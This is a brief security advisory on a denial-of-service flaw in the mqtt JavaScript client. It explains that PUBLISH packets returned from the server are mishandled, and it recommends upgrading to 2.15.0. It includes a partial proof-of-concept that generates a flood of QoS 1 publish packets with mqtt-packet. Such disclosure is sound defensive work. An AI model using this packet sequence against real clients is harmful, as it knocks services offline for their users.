Denial of Service in mqtt

Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.

The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.

Proof of Concept

The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.

var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
    packets.push(
        mqttp.generate({
            cmd:'publish',
            topic:Buffer.from('hello'),
            payload:Buffer.from('world'),
            retain: false,
            dup: false, 
            messageId: ++i, 
            qos: 1
        })
    )
}

Recommendation

Update to version 2.15.0 or later.